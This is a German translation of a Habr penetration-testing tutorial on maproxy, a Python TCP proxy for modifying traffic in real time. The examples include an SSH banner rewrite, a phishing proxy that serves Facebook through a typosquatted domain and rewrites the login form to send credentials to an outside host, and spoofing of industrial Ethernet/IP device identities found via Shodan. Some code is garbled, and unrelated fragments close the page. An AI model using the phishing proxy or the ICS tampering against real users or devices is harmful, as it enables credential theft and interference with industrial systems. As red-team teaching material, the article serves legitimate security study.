Echtzeitverarbeitung von Netzwerkdaten

Die Übersetzung des Artikels wurde im Vorfeld des Starts des Kurses vorbereitet „Pentest. Praxis der Penetrationstests“.

Echtzeitverarbeitung von Netzwerkdaten

Zusammenfassung

Verschiedene Arten der Sicherheitsbewertung, von regelmäßigen Penetrationstests und Red-Team-Operationen bis hin zu Hacks von IoT/ICS-Geräten und SCADA, erfordern die Arbeit mit binären Netzwerkprotokollen, das heißt, sie beinhalten im Wesentlichen das Abfangen und Modifizieren von Netzwerkdaten zwischen Client und Ziel. Das Sniffen von Netzwerkverkehr ist keine komplizierte Aufgabe, da wir über Werkzeuge wie Wireshark, Tcpdump oder Scapy verfügen. Die Modifikation hingegen erweist sich als arbeitsintensivere Aufgabe, da wir eine Art Schnittstelle benötigen, um Netzwerkdaten zu lesen, sie zu filtern, in Echtzeit zu ändern und zurück an den Zielhost zu senden. Darüber hinaus wäre es ideal, wenn ein solches Werkzeug automatisch mit mehreren parallelen Verbindungen arbeiten könnte und die Möglichkeit der Anpassung durch Skripte böte.

Eines Tages entdeckte ich ein Werkzeug, das maproxyheißt, die Dokumentation machte mir schnell klar, dass maproxy genau das ist, was ich brauche. Es handelt sich um einen recht einfachen, universellen und leicht konfigurierbaren TCP-Proxy. Ich habe dieses Werkzeug an mehreren recht komplexen Anwendungen getestet, einschließlich ICS-Geräten (die viele Pakete generieren), um herauszufinden, ob es mit vielen parallelen Verbindungen arbeiten kann, und das Werkzeug hat sich gut bewährt.

Dieser Artikel wird Sie mit der Verarbeitung von Netzwerkdaten in Echtzeit durch maproxy.

Überblick

Tool maproxy vertraut machen, das auf Tornado basiert – einem beliebten und fortgeschrittenen asynchronen Netzwerk-Framework in Python.

Insgesamt kann es in mehreren Modi arbeiten:

  • TCP:TCP – unverschlüsselte TCP-Verbindungen;
  • TCP:SSL und SSL:TCP – mit einseitiger Verschlüsselung;
  • SSL:SSL – bidirektionale Verschlüsselung.

Es wird als Bibliothek geliefert. Für einen schnellen Start können Sie die Beispiel-Dateien verwenden, die die grundlegenden Funktionen der Bibliothek widerspiegeln::

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Fall 1 – einfacher bidirektionaler Proxy

Basierend auf tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Standardmäßig ProxyServer() nimmt zwei Argumente an – die Verbindungsstelle und den Zielport. server.listen() nimmt ein Argument an – den Port zum Hören auf eingehende Verbindungen.

Ausführung des Skripts:

# python tcp2tcp.py

Um einen Test durchzuführen, werden wir uns über unser Proxy-Skript, das auf 2222/tcp hört, mit dem lokalen SSH-Server verbinden. und verbindet sich mit dem Standardport 22/tcp SSH-Server:

Echtzeitverarbeitung von Netzwerkdaten

Die Willkommensnachricht zeigt an, dass unser Beispiel-Skript den Netzwerkverkehr erfolgreich proxiert hat.

Fall 2 – Datenmodifikation

Ein weiteres Demo-Skript logging_proxy.py ist ideal für die Interaktion mit Netzwerkinformationen. Die Kommentare in der Datei beschreiben die Klassenmethoden, die Sie anpassen können, um Ihr Ziel zu erreichen:

Echtzeitverarbeitung von Netzwerkdaten

Das Interessanteste hier:

  • on_c2p_done_read – zum Abfangen von Daten auf dem Weg vom Client zum Server;
  • on_p2s_done_read – in die entgegengesetzte Richtung.

Lassen Sie uns versuchen, den SSH-Banner zu ändern, den der Server dem Client zurückgibt:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Führen Sie das Skript aus:

Echtzeitverarbeitung von Netzwerkdaten

Wie Sie sehen, wurde der Client in die Irre geführt, da der Name des SSH-Servers in „DumnySSH“.

Echtzeitverarbeitung von Netzwerkdaten

Fall 3 – Einfache Phishing-Webseite

Es gibt unzählige Anwendungsmöglichkeiten für dieses Tool. Diesmal konzentrieren wir uns auf etwas Praktischeres aus dem Bereich der Red Team-Operationen. Lassen Sie uns eine Landing-Page imitieren m.facebook.com und verwenden Sie eine benutzerdefinierte Domain mit absichtlichem Tippfehler, zum Beispiel: m.facebok.com. Für die Demo nehmen wir einfach an, dass die Domain von uns registriert wurde.

Wir werden eine unverschlüsselte Netzwerkverbindung zu unserem Proxy-Opfer und einen SSL-Stream für den Facebook-Server (31.13.81.36). Damit dieses Beispiel funktioniert, müssen wir den HTTP-Host-Header ersetzen und den korrekten Hostnamen einfügen, und außerdem deaktivieren wir die Komprimierung der Antworten, um leichter auf ihren Inhalt zugreifen zu können. Letztendlich ersetzen wir das HTML-Formular, damit die Anmeldeinformationen uns anstelle der Facebook-Server gesendet werden:

[…]
def on_c2p_done_read(self,data):
 # Ersetze Host-Header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# Deaktiviere Komprimierung
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[...]
def on_p2s_done_read(self,data):
 # Teilweiser Austausch der Antwort
 data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[...]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Insgesamt:

Echtzeitverarbeitung von Netzwerkdaten

Wie Sie sehen, konnten wir die originale Website erfolgreich ersetzen.

Fall 4 – Wir manipulieren Ethernet/IP

Ich habe ziemlich lange mit industriellen Geräten und Software (ICS / SCADA) zu tun gehabt, wie programmierbaren Steuerungen (PLC), Ein- und Ausgangsmodulen, Antrieben, Relais, Ladder-Programmierumgebungen und vielem mehr. Dieser Fall ist für die Leute, die industrielle Dinge mögen. Das Hacken solcher Lösungen bedeutet, aktiv mit Netzwerkprotokollen zu spielen. Im nächsten Beispiel möchte ich zeigen, wie Sie den Netzwerkverkehr von ICS/SCADA modifizieren können.

Dazu benötigen Sie Folgendes:

  • Einen Netzwerk-Sniffer, wie Wireshark;
  • Ein Ethernet/IP- oder einfach SIP-Gerät, das Sie mit dem Shodan-Dienst finden können;
  • Unser Skript basiert auf maproxy.

Zunächst schauen wir uns an, wie eine typische Identifikationsantwort von CIP (Common Industrial Protocol) aussieht:

Echtzeitverarbeitung von Netzwerkdaten

Die Geräteeinzelidentifikation erfolgt über das Ethernet/IP-Protokoll, das eine erweiterte Version des Ethernet-Protokolls für industrielle Anwendungen ist; es kapselt Steuerprotokolle wie CIP ein. Wir werden den ausgeschnittenen Identifikationsnamen ändern, der im Screenshot zu sehen ist. „NI-IndComm für Ethernet“ mit unserem Proxy-Skript. Wir könnten das Skript wiederverwenden logging_proxy.py und ähnlich die Klassenmethode modifizieren, on_p2s_done_read, da wir möchten, dass beim Client ein anderer Identifikationsname sichtbar ist.

Code:

[…]
 def on_p2s_done_read(self, data):
 # Teilweiser Ersatz der Antwort

 # Überprüfung, ob wir die Liste der Identitätsnachricht erhalten haben
     if data[26:28] == b'x0cx00':
         print('Antwort erhalten, ersetzen')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63 + 10:]
     super(LoggingSession, self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7", 44818, session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Im Grunde haben wir die Identifikation des Geräts zweimal angefragt, die zweite Antwort ist die Originalantwort, während die erste dynamisch modifiziert wurde.

Und zuletzt

Meiner Meinung nach maproxy ein praktisches und einfaches Werkzeug, das zudem in Python geschrieben ist, weshalb ich denke, dass auch Sie von dessen Nutzung profitieren können. Natürlich gibt es auch komplexere Werkzeuge zur Verarbeitung und Änderung von Netzwerkdaten, die jedoch mehr Aufmerksamkeit erfordern und in der Regel für spezifische Nutzungsszenarien entwickelt werden, wie zum Beispiel Muraena, Modlishka oder evilginx für Szenarien wie das dritte, oder canape für das letzte Szenario. So oder so, mit Hilfe von maproxy werden Sie Ihre Ideen zum Abfangen von Netzwerkdaten schnell umsetzen können, da die Skriptbeispiele sehr anschaulich sind.

Testen von Authentifizierungsmechanismen in Windows AD

Quelle: habr.com

60GB SSD 8Gb DDR4